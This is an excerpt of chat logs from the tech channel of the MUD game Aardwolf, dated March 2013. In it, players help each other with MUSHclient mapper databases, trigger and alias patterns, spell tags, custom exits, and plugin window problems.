T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: I'd sure use one if it were available
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: for me, the key would be 'damage per round'
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: round = 3 seconds
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: no way to tell where one round ends and the other begins.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: aside from that, can always just track damage for the last 3 seconds.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: so I could sort wether I'm getting more damage from spell-a x 400 x 6 hits, our spell-b x 300 x 8 hits, etc...
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: that's what you want dtrack ingame for
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: yes, but as stated befor, DTrack only count each hit... it doesn't care if I'm getting 1 hit or 6.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: neither should you
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: now what kind of comment is that?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: an accurate one
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: pay attention to fight lengths, rounded to nearest 3 seconds...whether a given spell is hitting more or less times, its total damage is the important thing
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: reset dtrack between tests
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: lag will affect the results
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: no it won't
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: heh, if you say so.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: yes.. I agree.  TOTAL damage is the important thing, and Dtrack doesn't do that when it tracks spells.  it just tracks the average per hit, regardless of wether a spell hits twice, or 8 times per tound
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: lag is between rtt of given packets, is orders of magnitude smaller than combat rounds, and is normalized as you fight
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it wouldn't affect the results in a way that isn't actually real anyway. you can't send a new attack command until after your lag has cleared
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: if you're getting 3-second lag, you should have a serious talk with your service provider
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: you're assuming only one type of lag, Magna.  Both the server and the client box will/can be busy enough to slow down time-based calculations.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: no I'm not, both of those are also well under the round time
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it doesn't matter, because you can detect combat rounds
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: how?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: watch melee
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: by using your brain. I've been monitoring damage per round for years
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: I've got gigs of data which says it's not that hard to determine
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: yes.. that works, fiendish, but I know when I'm not using the right tool for the job =)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: if you're concerned about lag, then stack the fight
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: cast spell 10 times at the start, which takes both your computer and network out of the equation, leaving just the server...which has its internal lag monitored whenever something takes more than a tenth of a second iirc, which rarely happens
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: just use some AI to play instead of you, and log once a week to check progress
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: so given that its lag is almost never a tenth of a second, counting 3-second rounds is quite reliable
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: gotta tweak that, trachx, it's not doing so well
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't think this is a good approach. any lag you experience is going to realistically affect your DPS. you shouldn't try to game your DPS number in a way that doesn't match actual interaction
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: until you use up all the bandwidth or processor cycles because something kicked on when you were fighting.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: best to just fight as normal and monitor combat rounds
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: bandwidth and processor cycles don't matter for that, hans
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: they will affect whatever you are using to reference your timing agent.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: no they won't
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: can't get the time if your computer is busy.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: you can't, I can
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: luckily my computer institutes preemptive multitasking
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: so today i launch mush and its acting like I dont have any mapped rooms for search - any ideas?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: anyone familiar with s&d that can help me tackle a problem?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: you'd have to ask your question before we could answer that
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: i did nobody answered lol
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: so today i launch mush and its acting like I dont have any mapped rooms for search - any ideas?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Did you update mush?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}BobTheGreat Tech: Where's your Aardwolf.db?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}BobTheGreat Tech: It could have gotten renamed/lost
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If you did, you probably overwrote your Aarwdolf.db, you need to replace that with your real db
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: havent done anything with mush since i loged out last night
T3/r7/2013-03-17.txt.gz:{chan ch=tech}BobTheGreat Tech: And by the way it's not a snd problem, it's a mush mapper problem.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods at BobTheGreat.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: okay - i just dont know what to do to check
T3/r7/2013-03-17.txt.gz:{chan ch=tech}BobTheGreat Tech: Poke around in your mush folder for a .db file that is about 10 mb-20 mb depending on how many rooms you had mapped
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: im in db_backups now.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}BobTheGreat Tech: Or that :)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: 11,034 my biggest
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: use that
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: just copy/paste over the other one. CLOSE MUSH FIRST
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: what do i do to " use " it
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What I just said :P
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: if it's not called Aardwolf.db, rename it to that.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: Aardwolf.db.Backup_automatic it says
T3/r7/2013-03-17.txt.gz:{chan ch=tech}BobTheGreat Tech: Rename it to 'Aardwolf.db' and plop it into mush's root folder.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Nods, ditch the Backup_auto part, just clikc it once, hit f2, then delete everything after .db
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: uh oh
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: it changed to this - Aardwolf (2)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: type data base file
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: im so lost sigh
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Ok, here's a step-by-step of what you need to do
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Nuanse Tech: close mush-delete old db file from mush root- copy backup from backup into root- rename it to original db. start mush again.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Close mush, open up you MC folder and delete your existing Aardwolf.db. Go to db_backups and grab the proper file, rename it it to Aardwolf.db and paste it where you deleted the first one from.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Open mush back up, and viola
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Nuanse Tech: woohoo, I got it right :)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods at Nuanse.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: can someone tap into my computer and do it?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}BobTheGreat Tech: Ok
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: BobTheGreat grins mischievously.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Nuanse Tech: oh you wouldn't... :)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: go to join.me and get a session going. send me the id.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'll step you through it, but you'll still be doing all the work
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Frostpaw Tech: I'll take this over :) Loshy's a friend
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: k
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: quick question - is "#" a special char for matching trigger?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What do you mean?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Are you asking if '#' is a reserved character in regexp matching?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: if I were to match "*##*focus*"  woudl it look for "#"?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You don't need to escape the #, no
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: brilliant... just what I needed to know.. .thanks
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Worst comes to worst, you can escape anything you want to be safe. So if you're unsure of if # would be a literal "#", you could do "\#" to no ill effect
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: can't hurt
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: it's not needed, but it won't hurt anything if you're unsure.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: I'm looking at elemental abilities, and I'm not really sure what the screen echo is for when it runs out... I guess I need to cancel everything, cast focus and sit on it for ten minutes
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: ## You can now use Focus abilities., i believe
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: that's when the cool-down expires
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Use soff
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: the focus last like 10-15 minutes... then there's a cool down.... soff?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Then you just need to know the spell number
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: spell off tags
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Frostpaw Tech: you also have recoff
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods at Frostpaw.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: I use spell numbers almost exclusivly in alias' and such...
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Frostpaw Tech: so tags spells on + tags recoveries on
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Frostpaw Tech: and you can just trigger those instead
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Frostpaw Tech: just an idea *shrug*
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: They're probably already on, if you use bast spellup
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: sounds like a great idea....
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: ahhh... it's tags SPELLUPS on... spells wasn't working
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Frostpaw Tech: sorry, been awhile :p
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: no no... that was a small thing... not seeing any tags for recoveries, though
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Frostpaw Tech: guess they're in spellups too then
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Well, you'll only see a tag when the recovery is added, or expires
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Nuanse Tech: just check tags
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Or look at help spelltags
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: has all the samples you'll need
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: that's some heavy stuff.  took me a minute to digest it, but it's just the tool I need... thanks.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: question for mushclient users
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: when i used zmud i could % an alias so it would auto use the mobname 
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: i cant figure it out on mush
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: zmud uses %1 for mobname - whats mushclient value anyone know?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: have you tried %1?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: yes - didnt work 
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Loshai Tech: wasnt sure what mushcleints was - if even have one 
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Endtime Tech: i am tarded, but i accidentally somehow moved one of the MUSHwindow boxes halfway up past the toolbar on top the the client, and can't move it back because i can't click&drag on the top of the mini-window. any suggestions?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The River Styx Tech: resetaard
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The River Styx Tech: or aardreset
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The River Styx Tech: I forget
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Endtime Tech: cool, easier than i had feared
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Brainfreezeo Tech: Im searching for plugins online to make the experience more efficient and have found some for aardwolf. Problem is every time I copy them over to an xml file in my Dreamweaver and save it into my plugins folder to add on here I get this message [WARNING] C:\Program Files\MUSHclient\worlds\plugins\eq.xml Line    8: Expected '<', got "-" (content not permitted here) (Cannot load) and others like it
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Brainfreezeo Tech: im not very tech savvy so dont know how to fix this issue
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: dreamweaver? why?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it probably adds something in the header. line 8 is broken
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what's line 8?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: god damn steam. only getting 3-4MB/s download
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Loshai Tech: question about mush vs zmud - on zmud you can use %1 for mob name - whats the mush version anyone know?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Vonliege Tech: same... 
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Vonliege Tech: though there are other conditions
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Loshai Tech: doesnt work for me or anyoine i know.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Loshai Tech: we been pursuing this for a while :P
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: in the trig pattern, use * unless you selected regex
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: in the action part, the %1 will be the first *
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Vonliege Tech: here's an alias give me by Norton... ^kill(\s+(.*)?(\.)?(\w+)?)?$    type 'kill <mobname>'
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Laughing Airmeith Tech: if the mob name is where the second * is, then it's %2 to access that one
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Vonliege Tech: your actions will be 'cast whatever %1'
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: for that, I wouldn't use a MUSH alias
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: just type "alias kill c whatever"
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is actually much better from a lag point of view for casters to use BOTH kill and spell - the kill action uses bugger all time, and there is no out of combat bonus for spells
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: so alias kill * to 'kill %1;c somespell %1' is the better choice
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Obviously different if you want to backstab
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Loshai Tech: i did alias kill * 
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Deathnight Soris Tech: Does emote work in a trigger?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Emote is a mudside thing, trigger is not.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What are you trying to do?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Deathnight Soris Tech: Just trying to make a vorpal trigger. Thanks anyway.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you can use echo for testing
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: you can put any action you want into the send part
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: and yeah, for testing you can use either echo or there's a test trigger menu option
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Deathnight Soris Tech: Testing would be hard, as vorpal is a bit hard to do.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Deathnight Soris Tech: Wait, new option?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: that's why you use echo or test trigger
T3/r7/2013-03-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: use echo as Abelinc suggested.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: nothing new about either of them
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: paste in echo Deep magic stirs within your weapon. It seems to have a life of its own.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: and make sure that you're either not using regular expression or you've anchored your trig so that me using that text in channels doesn't fire it
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Deathnight Soris Tech: Thanks, have to remember that.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: is there a way I can make mapper just go down from the aardhotel instead of going N then using a portal?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Redryn Tech: cexit d
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Redryn Tech: though i'm not sure what the problem is
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Endtime Tech: any way to cexit the "i have come to see the genie" thing in sandcastle? he takes to long to trans me for mapper to recognize the cexit. any command for waiting a tick or some such?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: there is a setting to make the wait longer
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: mapper cexit wait
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Endtime Tech: nice! thanks ontuct i just found the help file
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Scars Tech: cexit_wait, he means
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Trachx Tech: you need to use wait not cexit_wait
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: redryn D is a valid exit in my settings, it just seems to ignore it
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Trachx Tech: you need also not too old mush - just check whether there is info about wait when you do mapper help exits
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Redryn Tech: ontuct did you try it?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Trachx Tech: cexit_wait is good onle when cexits take some time, not when you need to wait for mob action before moving
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: no I just confirmed with a hover over the room that it was there. manually entering it as a CEXIT worked.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: thank you
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Redryn Tech: north and down are equally short routes so the mapper doesn't really care which way it takes, but if you set it as a cexit it gets priority
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: seems odd it prioritizes it the way it does lol
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Redryn Tech: why do you want to move down instead of north anyway?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: no, I didn't. mapper chose to run n, then go through my portal back to recall, rather just going D
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Redryn Tech: huh, that's strange
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: it was. and about 7 steps longer, not that I'm a big player in the GQ world.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Turie Tech: Ontuct, where are you talking about? From the Aard Hotel?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: yes
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: but using a custom exit solved it
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Turie Tech: My mapper just recalls from the Aardwolf Hotel.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: that room is no portal.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Frostpaw Tech: recall != portal
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Turie Tech: I have a portal alias setup for it to recall when in a noportal room.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Turie Tech: It is in the helpfiles for portals.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Turie Tech: Others use Home.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Turie Tech: If they have a manor.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Ontuct Tech: Well my issue there is solved now. Thanks all
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: my script arent working for some reason and im getting message like {affon}501,120
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: ive tryed reinstalling them
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Bast Tech: did you turn triggers off? check Game->Configure->Triggers and "Enable Triggers" should be checked
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: it stats this slist command does not work on mxit
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Frostpaw Tech: tags spellup off
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: i swapped over
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: still getting odd messages 
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: i get this message after each spellup casts 
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: {affon}501,150
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Vonliege Tech: that's a tag - buy you likely already know that
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: i know i know but spellup tags are off
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Vonliege Tech: odd... odd indeed
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Trachx Tech: type tags and check it
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Frostpaw Tech: bastspellup probably auto-turns them back on
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Bast Tech: he said he was connected from mxit
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: ok triggers working again and my s&d was messing up
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Frostpaw Tech: he said he was switching over, idk :P
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Bast Tech: i am confused myself
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Frostpaw Tech: seems like he's back on mush, bast :P
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: yip lol
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Turie Tech: Sounds like Winklewinkle's bot is messing with him.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Bast Tech: well, if he had my spellup plugin installed, he wouldn't be seeing the spellup tags at all
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: this is the first time its happened lol
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: my s&d seems to been having problems lol it say i dont know where you are now - try :LOOK . ive tried and ive mapped the area and say the same thing
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Bast Tech: is your mapper window updating when you move?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: i dont use the window 
T3/r7/2013-03-18.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: i stopped using it after i messed that up ..even reinstalling it doesnt work
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Bast Tech: type, "protocols gmcp"  is the Room one on?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: are you in a room which is nomap flagged?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}DeezyKitty Diza Tech: Any of you folks know why the input (place you type) bar wouldn't appear on mushclient after a fresh install?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Leinei Tech: sure it's not just resized really small?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Frostpaw Tech: resetaard has been used, just so people know
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Frostpaw Tech: and it doesnt help
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Leinei Tech: does it appear when you click in the output window and start typing? (assuming you have the "all typing goes to command window" tickbox checked in the options)
T3/r7/2013-03-18.txt.gz:{chan ch=tech}DeezyKitty Diza Tech: Asking (Sorry, this is for a friend ~ thanks for the help by the way).
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The River Styx Tech: nothing like some third party troubleshooting.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}DeezyKitty Diza Tech: Yep.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}DeezyKitty Diza Tech: I think that helped him guys. :) Thanks Leinei.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: In the 'Script' section of a MUSHclient plugin, which function would I create that MUSH calls everytime it starts?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, OnPluginInstall will work
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Thanks
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: are you sure you want it to run when mushclient loads and not when it connects?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Actually either way is fine. It's a miniwindow that doesn't depend on Aardwolf at all.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can either put it in OnPluginInstall then, or just not put it in a function at all
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Hmm... I seem to have lost my main aardwolf window. 'resetaard' won't bring it back either. What do?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: define lost
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: I cannot see it anymore.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: And it is not under any existing window.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: do you see anything?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Brainfreezeo Tech: i lost mine not to long ago Bob, when I added a plugin. I ended up having to redownload whole new mush
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: I'm talking through my comm log.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ...hmm.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: reinstall Aardwolf_Main_Layout plugin?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Brainfreezeo Tech: even just trying to readd the window plugin did nothing
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: I'll try reinstalling now
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: No dice :/
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sits down and thinks deeply. 
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Brainfreezeo Tech: it was weird and sucked. I had to re add all my old macros and added script
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what did you do?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: I just created a miniwindow in my plugin, and as soon as that one showed up, my main window disappeared.
